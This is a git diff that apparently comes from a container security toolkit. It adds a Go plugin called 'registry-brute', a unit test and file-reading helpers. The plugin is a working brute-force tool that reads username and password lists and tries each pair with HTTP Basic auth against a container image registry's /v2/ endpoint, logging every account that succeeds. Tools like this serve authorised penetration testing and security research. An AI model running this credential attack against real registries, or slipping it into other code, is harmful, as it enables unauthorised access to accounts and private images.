diff --git a/pkg/exploit/image_registry_brute.go b/pkg/exploit/image_registry_brute.go new file mode 100644 index 0000000..5741d90 --- /dev/null +++ b/pkg/exploit/image_registry_brute.go @@ -0,0 +1,108 @@ +// +build !no_image_registry_brute + +package exploit + +import ( + "fmt" + "log" + "net/http" + "strings" + + b64 "encoding/base64" + + "github.com/cdk-team/CDK/pkg/cli" + "github.com/cdk-team/CDK/pkg/plugin" + "github.com/cdk-team/CDK/pkg/util" +) + +// plugin interface +type RegistryBruteS struct{} + +func (p RegistryBruteS) Desc() string { + return "To container image registry, brute force the accounts and passwords cracking. Usage: ./cdk registry-brute . Example: ./cdk registry-brute https://index.docker.io/ root,admin /tmp/passwordfile." +} + +func normalizeInput(input string) []string { + + var inputList []string + + // support username/password list file + if util.FileExist(input) { + inputList, err := util.ReadLines(input) + if err != nil { + log.Fatalf("%s read error, %v", input, err) + } + return inputList + } + + // support input format like: username or username,username1,username2 + inputList = strings.Split(input, ",") + + return inputList +} + +func checkLogin(url string, username string, password string) bool { + + login := fmt.Sprintf("%s:%s", username, password) + sEnc := b64.StdEncoding.EncodeToString([]byte(login)) + authorizationHeader := fmt.Sprintf("Basic %s", sEnc) + + req, err := http.NewRequest("GET", url, nil) + if err != nil { + log.Printf("http.NewRequest error: %v\n", err) + return false + } + + client := &http.Client{} + req.Header.Set("Authorization", authorizationHeader) + res, err := client.Do(req) + if err != nil { + log.Printf("client.Do error: %v\n", err) + return false + } + + if res.StatusCode == 200 { + return true + } else { + return false + } + +} + +func (p RegistryBruteS) Run() bool { + + args := cli.Args[""].([]string) + if len(args) != 3 { + log.Println("invalid input args.") + log.Fatal(p.Desc()) + } + imageRegistryURL := args[0] + usernameInput := args[1] + passwordInput := args[2] + + usernameList := normalizeInput(usernameInput) + passwordList := normalizeInput(passwordInput) + v2URL := fmt.Sprintf("%sv2/", imageRegistryURL) + + log.Printf("user dict length: %d.\n", len(usernameList)) + log.Printf("password dict length: %d.\n", len(passwordList)) + + for _, username := range usernameList { + for _, password := range passwordList { + if checkLogin(v2URL, username, password) { + log.Printf("Account: %s:%s is available.\n", username, password) + // run next account/username + break + } + } + } + + log.Println("End!") + return false + +} + +func init() { + exploit := RegistryBruteS{} + plugin.RegisterExploit("registry-brute", exploit) +} diff --git a/pkg/exploit/image_registry_brute_test.go b/pkg/exploit/image_registry_brute_test.go new file mode 100644 index 0000000..13cb394 --- /dev/null +++ b/pkg/exploit/image_registry_brute_test.go @@ -0,0 +1,14 @@ +// +build !no_image_registry_brute + +package exploit + +import ( + "fmt" + "testing" +) + +func TestNormalizeInput(t *testing.T) { + + fmt.Printf("%v\n", normalizeInput("root")) + +} diff --git a/pkg/util/file_io.go b/pkg/util/file_io.go index ae17e5a..a536cd3 100644 --- a/pkg/util/file_io.go +++ b/pkg/util/file_io.go @@ -1,6 +1,7 @@ package util import ( + "bufio" "fmt" "io/ioutil" "log" @@ -18,6 +19,32 @@ func IsDirectory(path string) bool { return fileInfo.IsDir() } +// ReadLines reads a whole file into memory +// and returns a slice of its lines. +// from https://stackoverflow.com/questions/5884154/read-text-file-into-string-array-and-write +func ReadLines(path string) ([]string, error) { + file, err := os.Open(path) + if err != nil { + return nil, err + } + defer file.Close() + + var lines []string + scanner := bufio.NewScanner(file) + for scanner.Scan() { + lines = append(lines, scanner.Text()) + } + return lines, scanner.Err() +} + +func FileExist(path string) bool { + fileInfo, err := os.Stat(path) + if os.IsNotExist(err) { + return false + } + return !fileInfo.IsDir() +} + func IsSoftLink(FilePath string) bool { fileInfo, err := os.Lstat(FilePath) if err != nil {